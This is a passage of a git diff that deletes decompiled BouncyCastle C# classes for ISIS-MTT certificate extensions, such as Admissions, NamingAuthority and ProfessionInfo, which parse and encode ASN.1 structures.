throw new ArgumentException("Bad sequence size: " + seq.Count); - } - hashAlgorithm = AlgorithmIdentifier.GetInstance(seq[0]); - certificateHash = Asn1OctetString.GetInstance(seq[1]).GetOctets(); - } - - public CertHash(AlgorithmIdentifier hashAlgorithm, byte[] certificateHash) - { - if (hashAlgorithm == null) - { - throw new ArgumentNullException("hashAlgorithm"); - } - if (certificateHash == null) - { - throw new ArgumentNullException("certificateHash"); - } - this.hashAlgorithm = hashAlgorithm; - this.certificateHash = (byte[])certificateHash.Clone(); - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(hashAlgorithm, new DerOctetString(certificateHash)); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/IsisMtt/Ocsp/RequestedCertificate.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/IsisMtt/Ocsp/RequestedCertificate.cs deleted file mode 100644 index 8b1de2e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/IsisMtt/Ocsp/RequestedCertificate.cs +++ /dev/null @@ -1,122 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.IsisMtt.Ocsp; - -public class RequestedCertificate : Asn1Encodable, IAsn1Choice -{ - public enum Choice - { - Certificate = -1, - PublicKeyCertificate, - AttributeCertificate - } - - private readonly X509CertificateStructure cert; - - private readonly byte[] publicKeyCert; - - private readonly byte[] attributeCert; - - public Choice Type - { - get - { - if (cert != null) - { - return Choice.Certificate; - } - if (publicKeyCert != null) - { - return Choice.PublicKeyCertificate; - } - return Choice.AttributeCertificate; - } - } - - public static RequestedCertificate GetInstance(object obj) - { - if (obj == null || obj is RequestedCertificate) - { - return (RequestedCertificate)obj; - } - if (obj is Asn1Sequence) - { - return new RequestedCertificate(X509CertificateStructure.GetInstance(obj)); - } - if (obj is Asn1TaggedObject) - { - return new RequestedCertificate((Asn1TaggedObject)obj); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - public static RequestedCertificate GetInstance(Asn1TaggedObject obj, bool isExplicit) - { - if (!isExplicit) - { - throw new ArgumentException("choice item must be explicitly tagged"); - } - return GetInstance(obj.GetObject()); - } - - private RequestedCertificate(Asn1TaggedObject tagged) - { - switch ((Choice)tagged.TagNo) - { - case Choice.AttributeCertificate: - attributeCert = Asn1OctetString.GetInstance(tagged, isExplicit: true).GetOctets(); - break; - case Choice.PublicKeyCertificate: - publicKeyCert = Asn1OctetString.GetInstance(tagged, isExplicit: true).GetOctets(); - break; - default: - throw new ArgumentException("unknown tag number: " + tagged.TagNo); - } - } - - public RequestedCertificate(X509CertificateStructure certificate) - { - cert = certificate; - } - - public RequestedCertificate(Choice type, byte[] certificateOctets) - : this(new DerTaggedObject((int)type, new DerOctetString(certificateOctets))) - { - } - - public byte[] GetCertificateBytes() - { - if (cert != null) - { - try - { - return cert.GetEncoded(); - } - catch (IOException ex) - { - throw new InvalidOperationException("can't decode certificate: " + ex); - } - } - if (publicKeyCert != null) - { - return publicKeyCert; - } - return attributeCert; - } - - public override Asn1Object ToAsn1Object() - { - if (publicKeyCert != null) - { - return new DerTaggedObject(0, new DerOctetString(publicKeyCert)); - } - if (attributeCert != null) - { - return new DerTaggedObject(1, new DerOctetString(attributeCert)); - } - return cert.ToAsn1Object(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/IsisMtt/X509/AdditionalInformationSyntax.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/IsisMtt/X509/AdditionalInformationSyntax.cs deleted file mode 100644 index ce78139..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/IsisMtt/X509/AdditionalInformationSyntax.cs +++ /dev/null @@ -1,40 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X500; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.IsisMtt.X509; - -public class AdditionalInformationSyntax : Asn1Encodable -{ - private readonly DirectoryString information; - - public virtual DirectoryString Information => information; - - public static AdditionalInformationSyntax GetInstance(object obj) - { - if (obj is AdditionalInformationSyntax) - { - return (AdditionalInformationSyntax)obj; - } - if (obj is IAsn1String) - { - return new AdditionalInformationSyntax(DirectoryString.GetInstance(obj)); - } - throw new ArgumentException("Unknown object in GetInstance: " + Platform.GetTypeName(obj), "obj"); - } - - private AdditionalInformationSyntax(DirectoryString information) - { - this.information = information; - } - - public AdditionalInformationSyntax(string information) - { - this.information = new DirectoryString(information); - } - - public override Asn1Object ToAsn1Object() - { - return information.ToAsn1Object(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/IsisMtt/X509/AdmissionSyntax.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/IsisMtt/X509/AdmissionSyntax.cs deleted file mode 100644 index 6286a7b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/IsisMtt/X509/AdmissionSyntax.cs +++ /dev/null @@ -1,70 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.IsisMtt.X509; - -public class AdmissionSyntax : Asn1Encodable -{ - private readonly GeneralName admissionAuthority; - - private readonly Asn1Sequence contentsOfAdmissions; - - public virtual GeneralName AdmissionAuthority => admissionAuthority; - - public static AdmissionSyntax GetInstance(object obj) - { - if (obj == null || obj is AdmissionSyntax) - { - return (AdmissionSyntax)obj; - } - if (obj is Asn1Sequence) - { - return new AdmissionSyntax((Asn1Sequence)obj); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - private AdmissionSyntax(Asn1Sequence seq) - { - switch (seq.Count) - { - case 1: - contentsOfAdmissions = Asn1Sequence.GetInstance(seq[0]); - break; - case 2: - admissionAuthority = GeneralName.GetInstance(seq[0]); - contentsOfAdmissions = Asn1Sequence.GetInstance(seq[1]); - break; - default: - throw new ArgumentException("Bad sequence size: " + seq.Count); - } - } - - public AdmissionSyntax(GeneralName admissionAuthority, Asn1Sequence contentsOfAdmissions) - { - this.admissionAuthority = admissionAuthority; - this.contentsOfAdmissions = contentsOfAdmissions; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - if (admissionAuthority != null) - { - asn1EncodableVector.Add(admissionAuthority); - } - asn1EncodableVector.Add(contentsOfAdmissions); - return new DerSequence(asn1EncodableVector); - } - - public virtual Admissions[] GetContentsOfAdmissions() - { - Admissions[] array = new Admissions[contentsOfAdmissions.Count]; - for (int i = 0; i < contentsOfAdmissions.Count; i++) - { - array[i] = Admissions.GetInstance(contentsOfAdmissions[i]); - } - return array; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/IsisMtt/X509/Admissions.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/IsisMtt/X509/Admissions.cs deleted file mode 100644 index 6355f00..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/IsisMtt/X509/Admissions.cs +++ /dev/null @@ -1,108 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.IsisMtt.X509; - -public class Admissions : Asn1Encodable -{ - private readonly GeneralName admissionAuthority; - - private readonly NamingAuthority namingAuthority; - - private readonly Asn1Sequence professionInfos; - - public virtual GeneralName AdmissionAuthority => admissionAuthority; - - public virtual NamingAuthority NamingAuthority => namingAuthority; - - public static Admissions GetInstance(object obj) - { - if (obj == null || obj is Admissions) - { - return (Admissions)obj; - } - if (obj is Asn1Sequence) - { - return new Admissions((Asn1Sequence)obj); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - private Admissions(Asn1Sequence seq) - { - if (seq.Count > 3) - { - throw new ArgumentException("Bad sequence size: " + seq.Count); - } - IEnumerator enumerator = seq.GetEnumerator(); - enumerator.MoveNext(); - Asn1Encodable asn1Encodable = (Asn1Encodable)enumerator.Current; - if (asn1Encodable is Asn1TaggedObject) - { - switch (((Asn1TaggedObject)asn1Encodable).TagNo) - { - case 0: - admissionAuthority = GeneralName.GetInstance((Asn1TaggedObject)asn1Encodable, explicitly: true); - break; - case 1: - namingAuthority = NamingAuthority.GetInstance((Asn1TaggedObject)asn1Encodable, isExplicit: true); - break; - default: - throw new ArgumentException("Bad tag number: " + ((Asn1TaggedObject)asn1Encodable).TagNo); - } - enumerator.MoveNext(); - asn1Encodable = (Asn1Encodable)enumerator.Current; - } - if (asn1Encodable is Asn1TaggedObject) - { - int tagNo = ((Asn1TaggedObject)asn1Encodable).TagNo; - if (tagNo != 1) - { - throw new ArgumentException("Bad tag number: " + ((Asn1TaggedObject)asn1Encodable).TagNo); - } - namingAuthority = NamingAuthority.GetInstance((Asn1TaggedObject)asn1Encodable, isExplicit: true); - enumerator.MoveNext(); - asn1Encodable = (Asn1Encodable)enumerator.Current; - } - professionInfos = Asn1Sequence.GetInstance(asn1Encodable); - if (enumerator.MoveNext()) - { - throw new ArgumentException("Bad object encountered: " + Platform.GetTypeName(enumerator.Current)); - } - } - - public Admissions(GeneralName admissionAuthority, NamingAuthority namingAuthority, ProfessionInfo[] professionInfos) - { - this.admissionAuthority = admissionAuthority; - this.namingAuthority = namingAuthority; - this.professionInfos = new DerSequence(professionInfos); - } - - public ProfessionInfo[] GetProfessionInfos() - { - ProfessionInfo[] array = new ProfessionInfo[professionInfos.Count]; - int num = 0; - foreach (Asn1Encodable professionInfo in professionInfos) - { - array[num++] = ProfessionInfo.GetInstance(professionInfo); - } - return array; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - if (admissionAuthority != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 0, admissionAuthority)); - } - if (namingAuthority != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 1, namingAuthority)); - } - asn1EncodableVector.Add(professionInfos); - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/IsisMtt/X509/DeclarationOfMajority.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/IsisMtt/X509/DeclarationOfMajority.cs deleted file mode 100644 index 7c08b2f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/IsisMtt/X509/DeclarationOfMajority.cs +++ /dev/null @@ -1,103 +0,0 @@ -using System; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.IsisMtt.X509; - -public class DeclarationOfMajority : Asn1Encodable, IAsn1Choice -{ - public enum Choice - { - NotYoungerThan, - FullAgeAtCountry, - DateOfBirth - } - - private readonly Asn1TaggedObject declaration; - - public Choice Type => (Choice)declaration.TagNo; - - public virtual int NotYoungerThan - { - get - { - if (declaration.TagNo == 0) - { - return DerInteger.GetInstance(declaration, isExplicit: false).Value.IntValue; - } - return -1; - } - } - - public virtual Asn1Sequence FullAgeAtCountry - { - get - { - Choice tagNo = (Choice)declaration.TagNo; - if (tagNo == Choice.FullAgeAtCountry) - { - return Asn1Sequence.GetInstance(declaration, explicitly: false); - } - return null; - } - } - - public virtual DerGeneralizedTime DateOfBirth - { - get - { - Choice tagNo = (Choice)declaration.TagNo; - if (tagNo == Choice.DateOfBirth) - { - return DerGeneralizedTime.GetInstance(declaration, isExplicit: false); - } - return null; - } - } - - public DeclarationOfMajority(int notYoungerThan) - { - declaration = new DerTaggedObject(explicitly: false, 0, new DerInteger(notYoungerThan)); - } - - public DeclarationOfMajority(bool fullAge, string country) - { - if (country.Length > 2) - { - throw new ArgumentException("country can only be 2 characters"); - } - DerPrintableString derPrintableString = new DerPrintableString(country, validate: true); - declaration = new DerTaggedObject(explicitly: false, 1, (!fullAge) ? new DerSequence(DerBoolean.False, derPrintableString) : new DerSequence(derPrintableString)); - } - - public DeclarationOfMajority(DerGeneralizedTime dateOfBirth) - { - declaration = new DerTaggedObject(explicitly: false, 2, dateOfBirth); - } - - public static DeclarationOfMajority GetInstance(object obj) - { - if (obj == null || obj is DeclarationOfMajority) - { - return (DeclarationOfMajority)obj; - } - if (obj is Asn1TaggedObject) - { - return new DeclarationOfMajority((Asn1TaggedObject)obj); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - private DeclarationOfMajority(Asn1TaggedObject o) - { - if (o.TagNo > 2) - { - throw new ArgumentException("Bad tag number: " + o.TagNo); - } - declaration = o; - } - - public override Asn1Object ToAsn1Object() - { - return declaration; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/IsisMtt/X509/MonetaryLimit.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/IsisMtt/X509/MonetaryLimit.cs deleted file mode 100644 index ddd75f9..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/IsisMtt/X509/MonetaryLimit.cs +++ /dev/null @@ -1,56 +0,0 @@ -using System; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.IsisMtt.X509; - -public class MonetaryLimit : Asn1Encodable -{ - private readonly DerPrintableString currency; - - private readonly DerInteger amount; - - private readonly DerInteger exponent; - - public virtual string Currency => currency.GetString(); - - public virtual BigInteger Amount => amount.Value; - - public virtual BigInteger Exponent => exponent.Value; - - public static MonetaryLimit GetInstance(object obj) - { - if (obj == null || obj is MonetaryLimit) - { - return (MonetaryLimit)obj; - } - if (obj is Asn1Sequence) - { - return new MonetaryLimit(Asn1Sequence.GetInstance(obj)); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - private MonetaryLimit(Asn1Sequence seq) - { - if (seq.Count != 3) - { - throw new ArgumentException("Bad sequence size: " + seq.Count); - } - currency = DerPrintableString.GetInstance(seq[0]); - amount = DerInteger.GetInstance(seq[1]); - exponent = DerInteger.GetInstance(seq[2]); - } - - public MonetaryLimit(string currency, int amount, int exponent) - { - this.currency = new DerPrintableString(currency, validate: true); - this.amount = new DerInteger(amount); - this.exponent = new DerInteger(exponent); - } - - public override Asn1Object ToAsn1Object() - { - return new DerSequence(currency, amount, exponent); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/IsisMtt/X509/NamingAuthority.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/IsisMtt/X509/NamingAuthority.cs deleted file mode 100644 index f52833c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/IsisMtt/X509/NamingAuthority.cs +++ /dev/null @@ -1,120 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Asn1.X500; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.IsisMtt.X509; - -public class NamingAuthority : Asn1Encodable -{ - public static readonly DerObjectIdentifier IdIsisMttATNamingAuthoritiesRechtWirtschaftSteuern = new DerObjectIdentifier(string.Concat(IsisMttObjectIdentifiers.IdIsisMttATNamingAuthorities, ".1")); - - private readonly DerObjectIdentifier namingAuthorityID; - - private readonly string namingAuthorityUrl; - - private readonly DirectoryString namingAuthorityText; - - public virtual DerObjectIdentifier NamingAuthorityID => namingAuthorityID; - - public virtual DirectoryString NamingAuthorityText => namingAuthorityText; - - public virtual string NamingAuthorityUrl => namingAuthorityUrl; - - public static NamingAuthority GetInstance(object obj) - { - if (obj == null || obj is NamingAuthority) - { - return (NamingAuthority)obj; - } - if (obj is Asn1Sequence) - { - return new NamingAuthority((Asn1Sequence)obj); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - public static NamingAuthority GetInstance(Asn1TaggedObject obj, bool isExplicit) - { - return GetInstance(Asn1Sequence.GetInstance(obj, isExplicit)); - } - - private NamingAuthority(Asn1Sequence seq) - { - if (seq.Count > 3) - { - throw new ArgumentException("Bad sequence size: " + seq.Count); - } - IEnumerator enumerator = seq.GetEnumerator(); - if (enumerator.MoveNext()) - { - Asn1Encodable asn1Encodable = (Asn1Encodable)enumerator.Current; - if (asn1Encodable is DerObjectIdentifier) - { - namingAuthorityID = (DerObjectIdentifier)asn1Encodable; - } - else if (asn1Encodable is DerIA5String) - { - namingAuthorityUrl = DerIA5String.GetInstance(asn1Encodable).GetString(); - } - else - { - if (!(asn1Encodable is IAsn1String)) - { - throw new ArgumentException("Bad object encountered: " + Platform.GetTypeName(asn1Encodable)); - } - namingAuthorityText = DirectoryString.GetInstance(asn1Encodable); - } - } - if (enumerator.MoveNext()) - { - Asn1Encodable asn1Encodable2 = (Asn1Encodable)enumerator.Current; - if (asn1Encodable2 is DerIA5String) - { - namingAuthorityUrl = DerIA5String.GetInstance(asn1Encodable2).GetString(); - } - else - { - if (!(asn1Encodable2 is IAsn1String)) - { - throw new ArgumentException("Bad object encountered: " + Platform.GetTypeName(asn1Encodable2)); - } - namingAuthorityText = DirectoryString.GetInstance(asn1Encodable2); - } - } - if (enumerator.MoveNext()) - { - Asn1Encodable asn1Encodable3 = (Asn1Encodable)enumerator.Current; - if (!(asn1Encodable3 is IAsn1String)) - { - throw new ArgumentException("Bad object encountered: " + Platform.GetTypeName(asn1Encodable3)); - } - namingAuthorityText = DirectoryString.GetInstance(asn1Encodable3); - } - } - - public NamingAuthority(DerObjectIdentifier namingAuthorityID, string namingAuthorityUrl, DirectoryString namingAuthorityText) - { - this.namingAuthorityID = namingAuthorityID; - this.namingAuthorityUrl = namingAuthorityUrl; - this.namingAuthorityText = namingAuthorityText; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - if (namingAuthorityID != null) - { - asn1EncodableVector.Add(namingAuthorityID); - } - if (namingAuthorityUrl != null) - { - asn1EncodableVector.Add(new DerIA5String(namingAuthorityUrl, validate: true)); - } - if (namingAuthorityText != null) - { - asn1EncodableVector.Add(namingAuthorityText); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/IsisMtt/X509/ProcurationSyntax.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/IsisMtt/X509/ProcurationSyntax.cs deleted file mode 100644 index 23ec8c6..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/IsisMtt/X509/ProcurationSyntax.cs +++ /dev/null @@ -1,114 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Asn1.X500; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.IsisMtt.X509; - -public class ProcurationSyntax : Asn1Encodable -{ - private readonly string country; - - private readonly DirectoryString typeOfSubstitution; - - private readonly GeneralName thirdPerson; - - private readonly IssuerSerial certRef; - - public virtual string Country => country; - - public virtual DirectoryString TypeOfSubstitution => typeOfSubstitution; - - public virtual GeneralName ThirdPerson => thirdPerson; - - public virtual IssuerSerial CertRef => certRef; - - public static ProcurationSyntax GetInstance(object obj) - { - if (obj == null || obj is ProcurationSyntax) - { - return (ProcurationSyntax)obj; - } - if (obj is Asn1Sequence) - { - return new ProcurationSyntax((Asn1Sequence)obj); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - private ProcurationSyntax(Asn1Sequence seq) - { - if (seq.Count < 1 || seq.Count > 3) - { - throw new ArgumentException("Bad sequence size: " + seq.Count); - } - IEnumerator enumerator = seq.GetEnumerator(); - while (enumerator.MoveNext()) - { - Asn1TaggedObject instance = Asn1TaggedObject.GetInstance(enumerator.Current); - switch (instance.TagNo) - { - case 1: - country = DerPrintableString.GetInstance(instance, isExplicit: true).GetString(); - break; - case 2: - typeOfSubstitution = DirectoryString.GetInstance(instance, isExplicit: true); - break; - case 3: - { - Asn1Object asn1Object = instance.GetObject(); - if (asn1Object is Asn1TaggedObject) - { - thirdPerson = GeneralName.GetInstance(asn1Object); - } - else - { - certRef = IssuerSerial.GetInstance(asn1Object); - } - break; - } - default: - throw new ArgumentException("Bad tag number: " + instance.TagNo); - } - } - } - - public ProcurationSyntax(string country, DirectoryString typeOfSubstitution, IssuerSerial certRef) - { - this.country = country; - this.typeOfSubstitution = typeOfSubstitution; - thirdPerson = null; - this.certRef = certRef; - } - - public ProcurationSyntax(string country, DirectoryString typeOfSubstitution, GeneralName thirdPerson) - { - this.country = country; - this.typeOfSubstitution = typeOfSubstitution; - this.thirdPerson = thirdPerson; - certRef = null; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - if (country != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 1, new DerPrintableString(country, validate: true))); - } - if (typeOfSubstitution != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 2, typeOfSubstitution)); - } - if (thirdPerson != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 3, thirdPerson)); - } - else - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 3, certRef)); - } - return new DerSequence(asn1EncodableVector); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/IsisMtt/X509/ProfessionInfo.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/IsisMtt/X509/ProfessionInfo.cs deleted file mode 100644 index 5c632d5..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/IsisMtt/X509/ProfessionInfo.cs +++ /dev/null @@ -1,203 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Asn1.X500; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Asn1.IsisMtt.X509; - -public class ProfessionInfo : Asn1Encodable -{ - public static readonly DerObjectIdentifier Rechtsanwltin = new DerObjectIdentifier(string.Concat(NamingAuthority.IdIsisMttATNamingAuthoritiesRechtWirtschaftSteuern, ".1")); - - public static readonly DerObjectIdentifier Rechtsanwalt = new DerObjectIdentifier(string.Concat(NamingAuthority.IdIsisMttATNamingAuthoritiesRechtWirtschaftSteuern, ".2")); - - public static readonly DerObjectIdentifier Rechtsbeistand = new DerObjectIdentifier(string.Concat(NamingAuthority.IdIsisMttATNamingAuthoritiesRechtWirtschaftSteuern, ".3")); - - public static readonly DerObjectIdentifier Steuerberaterin = new DerObjectIdentifier(string.Concat(NamingAuthority.IdIsisMttATNamingAuthoritiesRechtWirtschaftSteuern, ".4")); - - public static readonly DerObjectIdentifier Steuerberater = new DerObjectIdentifier(string.Concat(NamingAuthority.IdIsisMttATNamingAuthoritiesRechtWirtschaftSteuern, ".5")); - - public static readonly DerObjectIdentifier Steuerbevollmchtigte = new DerObjectIdentifier(string.Concat(NamingAuthority.IdIsisMttATNamingAuthoritiesRechtWirtschaftSteuern, ".6")); - - public static readonly DerObjectIdentifier Steuerbevollmchtigter = new DerObjectIdentifier(string.Concat(NamingAuthority.IdIsisMttATNamingAuthoritiesRechtWirtschaftSteuern, ".7")); - - public static readonly DerObjectIdentifier Notarin = new DerObjectIdentifier(string.Concat(NamingAuthority.IdIsisMttATNamingAuthoritiesRechtWirtschaftSteuern, ".8")); - - public static readonly DerObjectIdentifier Notar = new DerObjectIdentifier(string.Concat(NamingAuthority.IdIsisMttATNamingAuthoritiesRechtWirtschaftSteuern, ".9")); - - public static readonly DerObjectIdentifier Notarvertreterin = new DerObjectIdentifier(string.Concat(NamingAuthority.IdIsisMttATNamingAuthoritiesRechtWirtschaftSteuern, ".10")); - - public static readonly DerObjectIdentifier Notarvertreter = new DerObjectIdentifier(string.Concat(NamingAuthority.IdIsisMttATNamingAuthoritiesRechtWirtschaftSteuern, ".11")); - - public static readonly DerObjectIdentifier Notariatsverwalterin = new DerObjectIdentifier(string.Concat(NamingAuthority.IdIsisMttATNamingAuthoritiesRechtWirtschaftSteuern, ".12")); - - public static readonly DerObjectIdentifier Notariatsverwalter = new DerObjectIdentifier(string.Concat(NamingAuthority.IdIsisMttATNamingAuthoritiesRechtWirtschaftSteuern, ".13")); - - public static readonly DerObjectIdentifier Wirtschaftsprferin = new DerObjectIdentifier(string.Concat(NamingAuthority.IdIsisMttATNamingAuthoritiesRechtWirtschaftSteuern, ".14")); - - public static readonly DerObjectIdentifier Wirtschaftsprfer = new DerObjectIdentifier(string.Concat(NamingAuthority.IdIsisMttATNamingAuthoritiesRechtWirtschaftSteuern, ".15")); - - public static readonly DerObjectIdentifier VereidigteBuchprferin = new DerObjectIdentifier(string.Concat(NamingAuthority.IdIsisMttATNamingAuthoritiesRechtWirtschaftSteuern, ".16")); - - public static readonly DerObjectIdentifier VereidigterBuchprfer = new DerObjectIdentifier(string.Concat(NamingAuthority.IdIsisMttATNamingAuthoritiesRechtWirtschaftSteuern, ".17")); - - public static readonly DerObjectIdentifier Patentanwltin = new DerObjectIdentifier(string.Concat(NamingAuthority.IdIsisMttATNamingAuthoritiesRechtWirtschaftSteuern, ".18")); - - public static readonly DerObjectIdentifier Patentanwalt = new DerObjectIdentifier(string.Concat(NamingAuthority.IdIsisMttATNamingAuthoritiesRechtWirtschaftSteuern, ".19")); - - private readonly NamingAuthority namingAuthority; - - private readonly Asn1Sequence professionItems; - - private readonly Asn1Sequence professionOids; - - private readonly string registrationNumber; - - private readonly Asn1OctetString addProfessionInfo; - - public virtual Asn1OctetString AddProfessionInfo => addProfessionInfo; - - public virtual NamingAuthority NamingAuthority => namingAuthority; - - public virtual string RegistrationNumber => registrationNumber; - - public static ProfessionInfo GetInstance(object obj) - { - if (obj == null || obj is ProfessionInfo) - { - return (ProfessionInfo)obj; - } - if (obj is Asn1Sequence) - { - return new ProfessionInfo((Asn1Sequence)obj); - } - throw new ArgumentException("unknown object in factory: " + Platform.GetTypeName(obj), "obj"); - } - - private ProfessionInfo(Asn1Sequence seq) - { - if (seq.Count > 5) - { - throw new ArgumentException("Bad sequence size: " + seq.Count); - } - IEnumerator enumerator = seq.GetEnumerator(); - enumerator.MoveNext(); - Asn1Encodable asn1Encodable = (Asn1Encodable)enumerator.Current; - if (asn1Encodable is Asn1TaggedObject) - { - Asn1TaggedObject asn1TaggedObject = (Asn1TaggedObject)asn1Encodable; - if (asn1TaggedObject.TagNo != 0) - { - throw new ArgumentException("Bad tag number: " + asn1TaggedObject.TagNo); - } - namingAuthority = NamingAuthority.GetInstance(asn1TaggedObject, isExplicit: true); - enumerator.MoveNext(); - asn1Encodable = (Asn1Encodable)enumerator.Current; - } - professionItems = Asn1Sequence.GetInstance(asn1Encodable); - if (enumerator.MoveNext()) - { - asn1Encodable = (Asn1Encodable)enumerator.Current; - if (asn1Encodable is Asn1Sequence) - { - professionOids = Asn1Sequence.GetInstance(asn1Encodable); - } - else if (asn1Encodable is DerPrintableString) - { - registrationNumber = DerPrintableString.GetInstance(asn1Encodable).GetString(); - } - else - { - if (!(asn1Encodable is Asn1OctetString)) - { - throw new ArgumentException("Bad object encountered: " + Platform.GetTypeName(asn1Encodable)); - } - addProfessionInfo = Asn1OctetString.GetInstance(asn1Encodable); - } - } - if (enumerator.MoveNext()) - { - asn1Encodable = (Asn1Encodable)enumerator.Current; - if (asn1Encodable is DerPrintableString) - { - registrationNumber = DerPrintableString.GetInstance(asn1Encodable).GetString(); - } - else - { - if (!(asn1Encodable is DerOctetString)) - { - throw new ArgumentException("Bad object encountered: " + Platform.GetTypeName(asn1Encodable)); - } - addProfessionInfo = (DerOctetString)asn1Encodable; - } - } - if (enumerator.MoveNext()) - { - asn1Encodable = (Asn1Encodable)enumerator.Current; - if (!(asn1Encodable is DerOctetString)) - { - throw new ArgumentException("Bad object encountered: " + Platform.GetTypeName(asn1Encodable)); - } - addProfessionInfo = (DerOctetString)asn1Encodable; - } - } - - public ProfessionInfo(NamingAuthority namingAuthority, DirectoryString[] professionItems, DerObjectIdentifier[] professionOids, string registrationNumber, Asn1OctetString addProfessionInfo) - { - this.namingAuthority = namingAuthority; - this.professionItems = new DerSequence(professionItems); - if (professionOids != null) - { - this.professionOids = new DerSequence(professionOids); - } - this.registrationNumber = registrationNumber; - this.addProfessionInfo = addProfessionInfo; - } - - public override Asn1Object ToAsn1Object() - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - if (namingAuthority != null) - { - asn1EncodableVector.Add(new DerTaggedObject(explicitly: true, 0, namingAuthority)); - } - asn1EncodableVector.Add(professionItems); - if (professionOids != null) - { - asn1EncodableVector.Add(professionOids); - } - if (registrationNumber != null) - { - asn1EncodableVector.Add(new DerPrintableString(registrationNumber, validate: true)); - } - if (addProfessionInfo != null) - { - asn1EncodableVector.Add(addProfessionInfo); - } - return new DerSequence(asn1EncodableVector); - } - - public virtual DirectoryString[] GetProfessionItems() - { - DirectoryString[] array = new DirectoryString[professionItems.Count]; - for (int i = 0; i < professionItems.Count; i++) - { - array[i] = DirectoryString.GetInstance(professionItems[i]); - } - return array; - } - - public virtual DerObjectIdentifier[] GetProfessionOids() - { - if (professionOids == null) - { - return new DerObjectIdentifier[0]; - } - DerObjectIdentifier[] array = new DerObjectIdentifier[professionOids.Count]; - for (int i = 0; i < professionOids.Count; i++) - { - array[i] = DerObjectIdentifier.GetInstance(professionOids[i]); - } - return array; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Asn1/IsisMtt/X509/Restriction.cs 